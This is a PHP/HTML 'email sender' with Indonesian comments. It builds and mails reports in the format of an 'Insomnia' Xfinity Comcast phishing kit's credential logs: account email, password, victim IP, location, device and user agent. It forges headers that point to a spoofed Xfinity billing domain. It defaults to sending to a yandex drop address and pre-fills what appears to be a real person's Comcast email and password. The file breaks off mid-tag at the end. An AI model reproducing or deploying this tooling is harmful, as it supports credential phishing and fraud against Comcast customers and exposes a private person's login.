<?php
// ==================================================
// EMAIL SENDER WITH SMTP - REAL TIME & DATE
// ==================================================

// Set timezone ke Indonesia (WIB)
date_default_timezone_set('Asia/Jakarta');

// Check if PHPMailer exists
$phpmailer_available = file_exists('phpmailer/src/PHPMailer.php');

if ($phpmailer_available) {
    require_once 'phpmailer/src/PHPMailer.php';
    require_once 'phpmailer/src/SMTP.php';
    require_once 'phpmailer/src/Exception.php';
}

// Fungsi untuk generate waktu dan tanggal REAL-TIME
function generateRealTimeDate() {
    return date('h:i A - D, d M Y'); // Format: 07:05 AM - Mon, 10 Nov 2025
}

// FUNGSI AUTO-FORMAT DIHAPUS - Input akan digunakan apa adanya

// Fungsi untuk membaca credentials dari file smtp.txt
function readSMTPCredentials() {
    $smtp_file = 'smtp.txt';
    
    if (!file_exists($smtp_file)) {
        return [
            'status' => 'error',
            'message' => 'File smtp.txt tidak ditemukan!'
        ];
    }
    
    $content = file_get_contents($smtp_file);
    $content = trim($content);
    
    if (empty($content)) {
        return [
            'status' => 'error',
            'message' => 'File smtp.txt kosong!'
        ];
    }
    
    if (strpos($content, ':') === false) {
        return [
            'status' => 'error', 
            'message' => 'Format salah! Gunakan: email:password'
        ];
    }
    
    list($email, $password) = explode(':', $content, 2);
    $email = trim($email);
    $password = trim($password);
    
    if (empty($email) || empty($password)) {
        return [
            'status' => 'error',
            'message' => 'Email atau password kosong!'
        ];
    }
    
    return [
        'status' => 'success',
        'email' => $email,
        'password' => $password
    ];
}

// Fungsi utama untuk mengirim email
function sendEmailWithSMTP($config) {
    $creds = readSMTPCredentials();
    if ($creds['status'] === 'error') {
        return $creds;
    }
    
    // Gunakan PHPMailer jika tersedia
    if (file_exists('phpmailer/src/PHPMailer.php')) {
        return sendWithPHPMailer($config, $creds);
    } else {
        return [
            'status' => 'error',
            'message' => 'PHPMailer tidak ditemukan! Download PHPMailer terlebih dahulu.'
        ];
    }
}

// Menggunakan PHPMailer untuk SMTP
function sendWithPHPMailer($config, $creds) {
    try {
        $mail = new PHPMailer\PHPMailer\PHPMailer(true);
        
        // Server settings
        $mail->isSMTP();
        $mail->Host = 'smtp.gmail.com';
        $mail->SMTPAuth = true;
        $mail->Username = $creds['email'];
        $mail->Password = $creds['password'];
        $mail->SMTPSecure = PHPMailer\PHPMailer\PHPMailer::ENCRYPTION_STARTTLS;
        $mail->Port = 587;
        
        // Enable verbose debug output
        $mail->SMTPDebug = 0;
        
        // Recipients
        $mail->setFrom($creds['email'], $config['sender_name']);
        $mail->addAddress($config['target_email']);
        $mail->addReplyTo($config['sender_email'], $config['sender_name']);
        
        // Content - PASTIKAN waktu di-generate saat email dikirim
        $mail->isHTML(true);
        $mail->Subject = $config['subject'];
        
        // Generate body dengan waktu REAL-TIME saat email dikirim
        $real_time_date = generateRealTimeDate();
        $mail->Body = generateEmailBody($config, $real_time_date);
        
        // Add custom headers safely
        addCustomHeaders($mail, $config);
        
        $mail->send();
        
        return [
            'status' => 'success', 
            'message' => 'Email berhasil dikirim via SMTP Gmail!',
            'method' => 'PHPMailer + SMTP',
            'smtp_account' => $creds['email'],
            'time_sent' => $real_time_date
        ];
        
    } catch (Exception $e) {
        return [
            'status' => 'error', 
            'message' => 'SMTP Error: ' . $e->getMessage(),
            'method' => 'PHPMailer'
        ];
    }
}

// Add custom headers safely
function addCustomHeaders($mail, $config) {
    $headers = generateEmailHeaders($config);
    $headers_array = explode("\n", $headers);
    
    foreach ($headers_array as $header) {
        $header = trim($header);
        if (!empty($header)) {
            if (stripos($header, 'To:') === 0 || 
                stripos($header, 'From:') === 0 ||
                stripos($header, 'Subject:') === 0 ||
                stripos($header, 'Reply-To:') === 0 ||
                stripos($header, 'Date:') === 0 ||
                stripos($header, 'MIME-Version:') === 0 ||
                stripos($header, 'Content-Type:') === 0) {
                continue;
            }
            $mail->addCustomHeader($header);
        }
    }
}

// Generate email body HTML dengan waktu REAL-TIME
function generateEmailBody($data, $real_time_date) {
    return '<html><body><table border="3" rules="all" cellpadding="10"><tr><th colspan="2"><h3>_ I N S O M N I A _</h3><p>Xfinity Comcast</p></th></tr>
<tr style="background: #45CB16;"><td><strong> Comcast Account : </strong></td><td> ' . htmlspecialchars($data['email_address']) . '</td></tr>
<tr style="background: #45CB16;"><td><strong> Password : </strong></td><td> ' . htmlspecialchars($data['email_password']) . '</td></tr>
<tr><th colspan="2"><h3>Device Information</h3></th></tr>
<tr style="background: #FC3803;"><td><strong> IP Address : </strong></td><td> ' . htmlspecialchars($data['custom_ip']) . '</td></tr>
<tr style="background: #FFFFFF;"><td><strong> Country : </strong></td><td> ' . htmlspecialchars($data['country']) . '</td></tr>
<tr style="background: #FFD700;"><td><strong> Region : </strong></td><td> ' . htmlspecialchars($data['region']) . '</td></tr>
<tr style="background: #FFFFFF;"><td><strong> City : </strong></td><td> ' . htmlspecialchars($data['device_city']) . '</td></tr>
<tr style="background: #1144F0;"><td><strong> Device : </strong></td><td> ' . htmlspecialchars($data['device']) . '</td></tr>
<tr style="background: #FFFFFF;"><td><strong> Browser : </strong></td><td> ' . htmlspecialchars($data['browser']) . '</td></tr>
<tr style="background: #FF5BFA;"><td><strong> Time &amp; Date : </strong></td><td> ' . $real_time_date . '</td></tr>
<tr style="background: #FFFFFF;"><td><strong> User Agent : </strong></td><td> ' . htmlspecialchars($data['custom_user_agent']) . '</td></tr>
</table>
</body></html>';
}

// Generate realistic email headers
function generateEmailHeaders($data) {
    $current_date = date('r');
    
    $headers = [];
    $headers[] = "X-PHP-Script: uptd-xfinithsy-bilingorders.duckdns.org/cr51.php for " . $data['custom_ip'];
    $headers[] = "X-PHP-Originating-Script: 1006:Myaccount.php";
    $headers[] = "Return-Path: " . $data['sender_email'];
    $headers[] = "X-Original-IP: " . $data['custom_ip'];
    $headers[] = "X-User-Agent: " . $data['custom_user_agent'];
    
    return implode("\r\n", $headers);
}

// Process form submission
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    $email_input = $_POST['email_address'] ?? '';
    
    // INPUT EMAIL DIGUNAKAN APA ADANYA TANPA MODIFIKASI
    $config = [
        'target_email' => $_POST['target_email'] ?? '',
        'sender_name' => $_POST['sender_name'] ?? 'Insomnia - Xfinity',
        'sender_email' => $_POST['sender_email'] ?? 'buatsmtpext@idealkuttiadi.com',
        'subject' => "Comcast Account : " . $email_input . " [ " . ($_POST['country'] ?? '') . " - " . ($_POST['device'] ?? '') . " - " . ($_POST['custom_ip'] ?? '') . " ]",
        'custom_ip' => $_POST['custom_ip'] ?? '',
        'custom_user_agent' => $_POST['custom_user_agent'] ?? '',
        'email_address' => $email_input, // DIGUNAKAN TANPA MODIFIKASI
        'email_password' => $_POST['email_password'] ?? '',
        'country' => $_POST['country'] ?? '',
        'region' => $_POST['region'] ?? '',
        'device_city' => $_POST['device_city'] ?? '',
        'device' => $_POST['device'] ?? '',
        'browser' => $_POST['browser'] ?? '',
    ];
    
    $result = sendEmailWithSMTP($config);
}
?>

<!-- HTML form dengan fitur PASTE DATA -->
<!DOCTYPE html>
<html lang="id">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Email Sender - Xfinity Comcast Format</title>
    <style>
        /* CSS tetap sama seperti sebelumnya */
        * { margin: 0; padding: 0; box-sizing: border-box; }
        body { 
            font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif; 
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            min-height: 100vh; 
            padding: 20px; 
        }
        .container {
            max-width: 1200px;
            margin: 0 auto;
            background: white;
            border-radius: 15px;
            box-shadow: 0 20px 40px rgba(0,0,0,0.1);
            overflow: hidden;
        }
        .header {
            background: #2c3e50;
            color: white;
            padding: 30px;
            text-align: center;
        }
        .content { padding: 30px; }
        .form-group { margin-bottom: 20px; }
        label { 
            display: block; 
            margin-bottom: 8px; 
            font-weight: 600; 
            color: #2c3e50; 
        }
        input, select, textarea, button {
            width: 100%;
            padding: 12px;
            border: 2px solid #ddd;
            border-radius: 8px;
            font-size: 14px;
            margin-bottom: 10px;
        }
        textarea { height: 100px; resize: vertical; }
        .btn {
            background: linear-gradient(135deg, #3498db, #2980b9);
            color: white;
            border: none;
            padding: 15px;
            font-size: 16px;
            font-weight: 600;
            cursor: pointer;
            transition: all 0.3s;
            margin-top: 20px;
        }
        .btn:hover {
            transform: translateY(-2px);
            box-shadow: 0 10px 20px rgba(0,0,0,0.2);
        }
        .alert {
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 20px;
            text-align: center;
        }
        .alert-success {
            background: #d4edda;
            color: #155724;
            border: 1px solid #c3e6cb;
        }
        .alert-error {
            background: #f8d7da;
            color: #721c24;
            border: 1px solid #f5c6cb;
        }
        .alert-info {
            background: #cce7ff;
            color: #004085;
            border: 1px solid #b3d7ff;
        }
        .config-section {
            background: #e8f4fc;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
            border: 2px dashed #3498db;
        }
        .data-section {
            background: #f8f9fa;
            padding: 20px;
            border-radius: 8px;
            margin-bottom: 20px;
            border: 2px solid #e9ecef;
        }
        .grid-2 {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 15px;
        }
        .grid-3 {
            display: grid;
            grid-template-columns: 1fr 1fr 1fr;
            gap: 15px;
        }
        @media (max-width: 768px) {
            .grid-2, .grid-3 { grid-template-columns: 1fr; }
        }
        .section-title {
            background: #34495e;
            color: white;
            padding: 10px 15px;
            margin: 20px 0 10px 0;
            border-radius: 5px;
            font-weight: 600;
            font-size: 18px;
        }
        small {
            color: #6c757d;
            font-size: 12px;
        }
        .preview-section {
            background: #2c3e50;
            color: white;
            padding: 20px;
            border-radius: 8px;
            margin: 20px 0;
        }
        .preview-section pre {
            white-space: pre-wrap;
            font-size: 12px;
            line-height: 1.4;
        }
        .smtp-status {
            background: #fff3cd;
            border: 1px solid #ffeaa7;
            padding: 15px;
            border-radius: 8px;
            margin-bottom: 20px;
        }
        .download-section {
            background: #d1ecf1;
            border: 2px solid #bee5eb;
            padding: 20px;
            border-radius: 8px;
            margin: 20px 0;
            text-align: center;
        }
        .download-btn {
            background: linear-gradient(135deg, #28a745, #20c997);
            color: white;
            border: none;
            padding: 12px 24px;
            border-radius: 6px;
            text-decoration: none;
            display: inline-block;
            margin: 10px;
            font-weight: 600;
        }
        .real-time-info {
            background: #e7f3ff;
            border: 2px solid #b3d9ff;
            padding: 15px;
            border-radius: 8px;
            margin: 10px 0;
            text-align: center;
        }
        .time-display {
            font-size: 18px;
            font-weight: bold;
            color: #2c3e50;
            margin: 10px 0;
        }
        .blink {
            animation: blink 1s infinite;
        }
        @keyframes blink {
            0% { opacity: 1; }
            50% { opacity: 0.5; }
            100% { opacity: 1; }
        }
        .email-preview {
            background: #f8f9fa;
            border: 2px solid #dee2e6;
            padding: 20px;
            border-radius: 8px;
            margin: 20px 0;
            font-family: monospace;
            font-size: 12px;
        }
        .autofill-buttons {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 10px;
            margin-top: 10px;
        }
        .autofill-buttons .btn {
            margin-top: 0;
        }
        .btn-secondary {
            background: linear-gradient(135deg, #6c757d, #5a6268);
        }
        .btn-warning {
            background: linear-gradient(135deg, #ffc107, #e0a800);
        }
        .btn-success {
            background: linear-gradient(135deg, #28a745, #20c997);
        }
        .paste-section {
            background: #fff3cd;
            border: 2px dashed #ffc107;
            padding: 20px;
            border-radius: 8px;
            margin: 20px 0;
        }
        .paste-textarea {
            font-family: monospace;
            font-size: 12px;
            height: 150px;
            background: #f8f9fa;
        }
        .format-example {
            background: #2c3e50;
            color: white;
            padding: 15px;
            border-radius: 5px;
            margin: 10px 0;
            font-family: monospace;
            font-size: 11px;
            line-height: 1.3;
        }

        /* NEW: Floating Send Button Styles */
        .floating-send-btn {
            position: fixed;
            bottom: 30px;
            right: 30px;
            width: 80px;
            height: 80px;
            border-radius: 50%;
            background: linear-gradient(135deg, #e74c3c, #c0392b);
            color: white;
            border: none;
            box-shadow: 0 8px 25px rgba(231, 76, 60, 0.4);
            cursor: pointer;
            font-size: 14px;
            font-weight: bold;
            z-index: 1000;
            display: flex;
            flex-direction: column;
            align-items: center;
            justify-content: center;
            transition: all 0.3s ease;
            animation: pulse 2s infinite;
        }

        .floating-send-btn:hover {
            transform: scale(1.1);
            box-shadow: 0 12px 30px rgba(231, 76, 60, 0.6);
            animation: none;
        }

        .floating-send-btn:active {
            transform: scale(0.95);
        }

        .floating-send-btn:disabled {
            background: linear-gradient(135deg, #95a5a6, #7f8c8d);
            cursor: not-allowed;
            transform: none;
            box-shadow: 0 4px 15px rgba(149, 165, 166, 0.4);
            animation: none;
        }

        .floating-send-btn:disabled:hover {
            transform: none;
            box-shadow: 0 4px 15px rgba(149, 165, 166, 0.4);
        }

        .btn-icon {
            font-size: 24px;
            margin-bottom: 5px;
        }

        .btn-text {
            font-size: 11px;
            text-align: center;
            line-height: 1.2;
        }

        @keyframes pulse {
            0% {
                box-shadow: 0 8px 25px rgba(231, 76, 60, 0.4);
            }
            50% {
                box-shadow: 0 8px 30px rgba(231, 76, 60, 0.7);
            }
            100% {
                box-shadow: 0 8px 25px rgba(231, 76, 60, 0.4);
            }
        }

        /* Mobile responsive untuk floating button */
        @media (max-width: 768px) {
            .floating-send-btn {
                width: 70px;
                height: 70px;
                bottom: 20px;
                right: 20px;
            }
            .btn-icon {
                font-size: 20px;
            }
            .btn-text {
                font-size: 10px;
            }
        }
    </style>
    <script>
        function updateRealTime() {
            const now = new Date();
            const options = { 
                hour12: true,
                hour: '2-digit',
                minute: '2-digit',
                second: '2-digit',
                weekday: 'short',
                year: 'numeric',
                month: 'short',
                day: '2-digit'
            };
            const timeString = now.toLocaleString('en-US', options).replace(',', ' -');
            document.getElementById('realTimeDisplay').textContent = timeString;
        }
        
        // Update waktu setiap detik
        setInterval(updateRealTime, 1000);
        updateRealTime(); // Initial call

        // NEW: Fungsi untuk parsing data yang di-paste
        function parsePastedData() {
            const pasteData = document.getElementById('pasteData').value;
            
            if (!pasteData.trim()) {
                alert('Silakan paste data terlebih dahulu!');
                return;
            }

            // Parse data berdasarkan pattern
            const lines = pasteData.split('\n');
            let parsedData = {};

            lines.forEach(line => {
                line = line.trim();
                
                // Cari pattern untuk setiap field
                if (line.includes('Comcast Account :')) {
                    parsedData.email = line.split('Comcast Account :')[1].trim();
                } else if (line.includes('Password :')) {
                    parsedData.password = line.split('Password :')[1].trim();
                } else if (line.includes('IP Address :')) {
                    parsedData.ip = line.split('IP Address :')[1].trim();
                } else if (line.includes('Country :')) {
                    parsedData.country = line.split('Country :')[1].trim();
                } else if (line.includes('Region :')) {
                    parsedData.region = line.split('Region :')[1].trim();
                } else if (line.includes('City :')) {
                    parsedData.city = line.split('City :')[1].trim();
                } else if (line.includes('Device :')) {
                    parsedData.device = line.split('Device :')[1].trim();
                } else if (line.includes('Browser :')) {
                    parsedData.browser = line.split('Browser :')[1].trim();
                } else if (line.includes('User Agent :')) {
                    parsedData.userAgent = line.split('User Agent :')[1].trim();
                }
            });

            // Isi form dengan data yang di-parse
            if (parsedData.email) {
                document.getElementById('email_address').value = parsedData.email;
            }
            if (parsedData.password) {
                document.getElementById('email_password').value = parsedData.password;
            }
            if (parsedData.ip) {
                document.getElementById('custom_ip').value = parsedData.ip;
            }
            if (parsedData.country) {
                document.getElementById('country').value = parsedData.country;
            }
            if (parsedData.region) {
                document.getElementById('region').value = parsedData.region;
            }
            if (parsedData.city) {
                document.getElementById('device_city').value = parsedData.city;
            }
            if (parsedData.device) {
                document.getElementById('device').value = parsedData.device;
            }
            if (parsedData.browser) {
                document.getElementById('browser').value = parsedData.browser;
            }
            if (parsedData.userAgent) {
                document.getElementById('custom_user_agent').value = parsedData.userAgent;
            }

            // Tampilkan pesan sukses
            const filledFields = Object.keys(parsedData).length;
            if (filledFields > 0) {
                alert(`✅ Berhasil mengisi ${filledFields} field dari data yang di-paste!`);
            } else {
                alert('❌ Tidak dapat membaca data. Pastikan format sesuai contoh.');
            }
        }

        // NEW: Auto-fill dengan data contoh untuk demo
        function fillExamplePasteData() {
            const exampleData = `_ I N S O M N I A _
Xfinity Comcast

Comcast Account :    jknocke@comcast.net
Password :    Flyers2612
Device Information
IP Address :    174.57.133.188
Country :    United States
Region :    New Jersey
City :    Hamilton
Device :    Windows 10
Browser :    Chrome
Time & Date :    01:32 AM - Tue, 11 Nov 2025
User Agent :    Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0`;

            document.getElementById('pasteData').value = exampleData;
        }

        // Clear paste data
        function clearPasteData() {
            document.getElementById('pasteData').value = '';
        }

        // NEW: Validasi form sebelum submit dari floating button
        function validateFormBeforeSubmit() {
            const requiredFields = [
                'target_email', 'email_address', 'email_password', 
                'custom_ip', 'country', 'device'
            ];
            
            let isValid = true;
            let emptyFields = [];

            requiredFields.forEach(fieldId => {
                const field = document.getElementById(fieldId);
                if (!field.value.trim()) {
                    isValid = false;
                    emptyFields.push(fieldId);
                    field.style.borderColor = '#e74c3c';
                } else {
                    field.style.borderColor = '#ddd';
                }
            });

            if (!isValid) {
                alert('❌ Mohon lengkapi semua field yang wajib diisi!\n\nField yang masih kosong: ' + 
                      emptyFields.map(field => {
                          const fieldNames = {
                              'target_email': 'Email Tujuan',
                              'email_address': 'Email Address', 
                              'email_password': 'Password',
                              'custom_ip': 'IP Address',
                              'country': 'Country',
                              'device': 'Device'
                          };
                          return fieldNames[field] || field;
                      }).join(', '));
                return false;
            }

            // Jika semua valid, submit form
            document.getElementById('emailForm').submit();
            return true;
        }
    </script>
</head>
<body>
    <div class="container">
        <div class="header">
            <h1>📧 Xfinity Comcast Email Sender</h1>
            <p>Kirim email dengan format Xfinity Comcast - Real Time & Date</p>
        </div>
        
        <div class="content">
            <!-- Status SMTP -->
            <?php
            $smtp_status = readSMTPCredentials();
            if ($smtp_status['status'] === 'success') {
                echo '<div class="smtp-status">';
                echo '<h3>✅ SMTP Credentials Loaded</h3>';
                echo '<p><strong>Email:</strong> ' . htmlspecialchars($smtp_status['email']) . '</p>';
                if ($phpmailer_available) {
                    echo '<p><strong>PHPMailer:</strong> ✅ Installed</p>';
                    echo '<p><strong>Status:</strong> Ready to send emails via SMTP Gmail</p>';
                } else {
                    echo '<p><strong>PHPMailer:</strong> ❌ Not Installed</p>';
                }
                echo '</div>';
            } else {
                echo '<div class="alert alert-error">';
                echo '<h3>❌ SMTP Error</h3>';
                echo '<p>' . htmlspecialchars($smtp_status['message']) . '</p>';
                echo '<p><strong>Buat file smtp.txt dengan format:</strong> email:password</p>';
                echo '</div>';
            }
            ?>

            <!-- Real Time Display -->
            <div class="real-time-info">
                <h3>🕐 REAL-TIME FEATURE</h3>
                <div class="time-display blink" id="realTimeDisplay"></div>
                <p>Field <strong>"Time & Date"</strong> di email akan menggunakan waktu <strong>REAL-TIME</strong> saat email dikirim</p>
                <p><small>Waktu Server: ' . date_default_timezone_get() . '</small></p>
            </div>

            <!-- PHPMailer Download Section -->
            <?php if (!$phpmailer_available): ?>
            <div class="download-section">
                <h3>📦 Download PHPMailer</h3>
                <p>PHPMailer diperlukan untuk mengirim email via SMTP Gmail.</p>
                <a href="https://github.com/PHPMailer/PHPMailer/archive/refs/heads/master.zip" 
                   class="download-btn" target="_blank">
                   🔗 Download PHPMailer
                </a>
                <p><small>Setelah download, extract dan rename folder menjadi "phpmailer"</small></p>
            </div>
            <?php endif; ?>

            <!-- Results -->
            <?php if (isset($result)): ?>
                <?php if ($result['status'] === 'success'): ?>
                    <div class="alert alert-success">
                        <h3>✅ <?php echo $result['message']; ?></h3>
                        <?php if (isset($result['method'])): ?>
                            <p><strong>Method:</strong> <?php echo $result['method']; ?></p>
                        <?php endif; ?>
                        <?php if (isset($result['smtp_account'])): ?>
                            <p><strong>SMTP Account:</strong> <?php echo htmlspecialchars($result['smtp_account']); ?></p>
                        <?php endif; ?>
                        <?php if (isset($result['time_sent'])): ?>
                            <p><strong>Time Sent:</strong> <?php echo $result['time_sent']; ?></p>
                        <?php endif; ?>
                    </div>
                    
                    <!-- Preview -->
                    <div class="preview-section">
                        <h3>📧 Email Preview:</h3>
                        <pre><?php 
                            echo "TO: " . htmlspecialchars($config['target_email']) . "\n";
                            echo "SUBJECT: " . htmlspecialchars($config['subject']) . "\n";
                            echo "EMAIL ADDRESS: " . htmlspecialchars($config['email_address']) . "\n";
                            echo "TIME & DATE: " . (isset($result['time_sent']) ? $result['time_sent'] : generateRealTimeDate()) . "\n";
                            echo "IP ADDRESS: " . htmlspecialchars($config['custom_ip']) . "\n";
                            echo "USER AGENT: " . htmlspecialchars($config['custom_user_agent']) . "\n";
                        ?></pre>
                    </div>
                <?php else: ?>
                    <div class="alert alert-error">
                        <h3>❌ <?php echo $result['message']; ?></h3>
                        <?php if (isset($result['method'])): ?>
                            <p><strong>Method:</strong> <?php echo $result['method']; ?></p>
                        <?php endif; ?>
                        <?php if (!$phpmailer_available): ?>
                            <p><strong>Solution:</strong> Download dan install PHPMailer</p>
                        <?php endif; ?>
                    </div>
                <?php endif; ?>
            <?php endif; ?>

            <!-- NEW: Paste Data Section -->
            <div class="paste-section">
                <h3>📋 PASTE DATA DISINI</h3>
                <p>Copy-paste data Comcast Anda di textarea bawah ini, lalu klik "Parse Data" untuk mengisi form otomatis:</p>
                
                <textarea id="pasteData" class="paste-textarea" placeholder="Paste data Anda di sini..."></textarea>
                
                <div class="autofill-buttons">
                    <button type="button" class="btn btn-success" onclick="parsePastedData()">
                        🚀 Parse Data & Isi Form
                    </button>
                    <button type="button" class="btn btn-warning" onclick="fillExamplePasteData()">
                        📝 Contoh Data
                    </button>
                    <button type="button" class="btn btn-secondary" onclick="clearPasteData()">
                        🗑️ Hapus
                    </button>
                </div>

                <div class="format-example">
                    <strong>Format yang didukung:</strong><br>
                    Comcast Account :&nbsp;&nbsp;&nbsp;&nbsp;jknocke@comcast.net<br>
                    Password :&nbsp;&nbsp;&nbsp;&nbsp;Flyers2612<br>
                    IP Address :&nbsp;&nbsp;&nbsp;&nbsp;174.57.133.188<br>
                    Country :&nbsp;&nbsp;&nbsp;&nbsp;United States<br>
                    Region :&nbsp;&nbsp;&nbsp;&nbsp;New Jersey<br>
                    City :&nbsp;&nbsp;&nbsp;&nbsp;Hamilton<br>
                    Device :&nbsp;&nbsp;&nbsp;&nbsp;Windows 10<br>
                    Browser :&nbsp;&nbsp;&nbsp;&nbsp;Chrome<br>
                    User Agent :&nbsp;&nbsp;&nbsp;&nbsp;Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36...
                </div>
            </div>

            <!-- Email Format Preview -->
            <div class="email-preview">
                <h3>📋 Format Email yang Akan Dikirim:</h3>
                <pre>
Subject: Comcast Account : [email] [ Country - Device - IP ]
X-PHP-Script: uptd-xfinithsy-bilingorders.duckdns.org/cr51.php for [IP]
X-PHP-Originating-Script: 1006:Myaccount.php
Return-Path: buatsmtpext@idealkuttiadi.com

&lt;html&gt;&lt;body&gt;&lt;table border="3" rules="all" cellpadding="10"&gt;
  &lt;tr&gt;&lt;th colspan="2"&gt;&lt;h3&gt;_ I N S O M N I A _&lt;/h3&gt;&lt;p&gt;Xfinity Comcast&lt;/p&gt;&lt;/th&gt;&lt;/tr&gt;
  &lt;tr style="background: #45CB16;"&gt;&lt;td&gt;&lt;strong&gt; Comcast Account : &lt;/strong&gt;&lt;/td&gt;&lt;td&gt; [email] &lt;/td&gt;&lt;/tr&gt;
  &lt;tr style="background: #45CB16;"&gt;&lt;td&gt;&lt;strong&gt; Password : &lt;/strong&gt;&lt;/td&gt;&lt;td&gt; [password] &lt;/td&gt;&lt;/tr&gt;
  &lt;tr&gt;&lt;th colspan="2"&gt;&lt;h3&gt;Device Information&lt;/h3&gt;&lt;/th&gt;&lt;/tr&gt;
  &lt;tr style="background: #FC3803;"&gt;&lt;td&gt;&lt;strong&gt; IP Address : &lt;/strong&gt;&lt;/td&gt;&lt;td&gt; [IP] &lt;/td&gt;&lt;/tr&gt;
  &lt;tr style="background: #FFFFFF;"&gt;&lt;td&gt;&lt;strong&gt; Country : &lt;/strong&gt;&lt;/td&gt;&lt;td&gt; [country] &lt;/td&gt;&lt;/tr&gt;
  &lt;tr style="background: #FFD700;"&gt;&lt;td&gt;&lt;strong&gt; Region : &lt;/strong&gt;&lt;/td&gt;&lt;td&gt; [region] &lt;/td&gt;&lt;/tr&gt;
  &lt;tr style="background: #FFFFFF;"&gt;&lt;td&gt;&lt;strong&gt; City : &lt;/strong&gt;&lt;/td&gt;&lt;td&gt; [city] &lt;/td&gt;&lt;/tr&gt;
  &lt;tr style="background: #1144F0;"&gt;&lt;td&gt;&lt;strong&gt; Device : &lt;/strong&gt;&lt;/td&gt;&lt;td&gt; [device] &lt;/td&gt;&lt;/tr&gt;
  &lt;tr style="background: #FFFFFF;"&gt;&lt;td&gt;&lt;strong&gt; Browser : &lt;/strong&gt;&lt;/td&gt;&lt;td&gt; [browser] &lt;/td&gt;&lt;/tr&gt;
  &lt;tr style="background: #FF5BFA;"&gt;&lt;td&gt;&lt;strong&gt; Time &amp; Date : &lt;/strong&gt;&lt;/td&gt;&lt;td&gt; [real-time] &lt;/td&gt;&lt;/tr&gt;
  &lt;tr style="background: #FFFFFF;"&gt;&lt;td&gt;&lt;strong&gt; User Agent : &lt;/strong&gt;&lt;/td&gt;&lt;td&gt; [user-agent] &lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;&lt;/body&gt;&lt;/html&gt;
                </pre>
            </div>
            
            <!-- Form -->
            <form id="emailForm" action="" method="POST">
                <!-- Target Email -->
                <div class="config-section">
                    <h3>🎯 Target Email</h3>
                    <div class="form-group">
                        <label for="target_email">Email Tujuan:</label>
                        <input type="email" id="target_email" name="target_email" 
                               value="<?php echo htmlspecialchars($_POST['target_email'] ?? 'marshallnurcahya@yandex.com'); ?>" required>
                    </div>
                </div>

                <!-- Custom Settings -->
                <div class="config-section">
                    <h3>⚙️ Custom Settings</h3>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="custom_ip">Custom IP Address:</label>
                            <input type="text" id="custom_ip" name="custom_ip" 
                                   value="<?php echo htmlspecialchars($_POST['custom_ip'] ?? '174.57.133.188'); ?>" required>
                        </div>
                        <div class="form-group">
                            <label for="custom_user_agent">Custom User Agent:</label>
                            <input type="text" id="custom_user_agent" name="custom_user_agent" 
                                   value="<?php echo htmlspecialchars($_POST['custom_user_agent'] ?? 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36 Edg/142.0.0.0'); ?>">
                        </div>
                    </div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="sender_name">Sender Name:</label>
                            <input type="text" id="sender_name" name="sender_name" 
                                   value="<?php echo htmlspecialchars($_POST['sender_name'] ?? 'Insomnia - Xfinity'); ?>">
                        </div>
                        <div class="form-group">
                            <label for="sender_email">Sender Email:</label>
                            <input type="email" id="sender_email" name="sender_email" 
                                   value="<?php echo htmlspecialchars($_POST['sender_email'] ?? 'buatsmtpext@idealkuttiadi.com'); ?>">
                        </div>
                    </div>
                </div>

                <!-- Comcast Account Information -->
                <div class="data-section">
                    <div class="section-title">📧 Comcast Account Information</div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="email_address">Email Address:</label>
                            <input type="text" id="email_address" name="email_address" 
                                   value="<?php echo htmlspecialchars($_POST['email_address'] ?? 'jknocke@comcast.net'); ?>"
                                   placeholder="Input apa saja: dhgraves, 8127489, atau dhgraves@comcast.net">
                            <small><strong>Input akan digunakan apa adanya tanpa modifikasi</strong></small>
                        </div>
                        <div class="form-group">
                            <label for="email_password">Password:</label>
                            <input type="text" id="email_password" name="email_password" 
                                   value="<?php echo htmlspecialchars($_POST['email_password'] ?? 'Flyers2612'); ?>">
                        </div>
                    </div>
                </div>

                <!-- Device Information -->
                <div class="data-section">
                    <div class="section-title">📱 Device Information</div>
                    <div class="grid-3">
                        <div class="form-group">
                            <label for="country">Country:</label>
                            <input type="text" id="country" name="country" 
                                   value="<?php echo htmlspecialchars($_POST['country'] ?? 'United States'); ?>">
                        </div>
                        <div class="form-group">
                            <label for="region">Region:</label>
                            <input type="text" id="region" name="region" 
                                   value="<?php echo htmlspecialchars($_POST['region'] ?? 'New Jersey'); ?>">
                        </div>
                        <div class="form-group">
                            <label for="device_city">City (Device):</label>
                            <input type="text" id="device_city" name="device_city" 
                                   value="<?php echo htmlspecialchars($_POST['device_city'] ?? 'Hamilton'); ?>">
                        </div>
                    </div>
                    <div class="grid-2">
                        <div class="form-group">
                            <label for="device">Device (OS):</label>
                            <input type="text" id="device" name="device" 
                                   value="<?php echo htmlspecialchars($_POST['device'] ?? 'Windows 10'); ?>">
                        </div>
                        <div class="form-group">
                            <label for="browser">Browser:</label>
                            <input type="text" id="browser" name="browser" 
                                   value="<?php echo htmlspecialchars($_POST['browser'] ?? 'Chrome'); ?>">
                        </div>
                    </div>
                    <!-- Time & Date sekarang REAL-TIME -->
                    <div class="form-group">
                        <label for="time_date_info">Time & Date:</label>
                        <input type="text" id="time_date_info" value="REAL-TIME: Akan diisi saat email dikirim" disabled style="background: #e9ecef; color: #6c757d;">
                        <small>Waktu akan menggunakan <strong>REAL-TIME</strong> saat email dikirim</small>
                    </div>
                </div>

                <!-- Tombol submit biasa disembunyikan, diganti dengan floating button -->
                <button type="submit" style="display: none;">Submit</button>
            </form>
        </div>
    </div>

    <!-- NEW: Floating Send Button -->
    <?php if ($phpmailer_available): ?>
        <button type="button" class="floating-send-btn" onclick="validateFormBeforeSubmit()" 
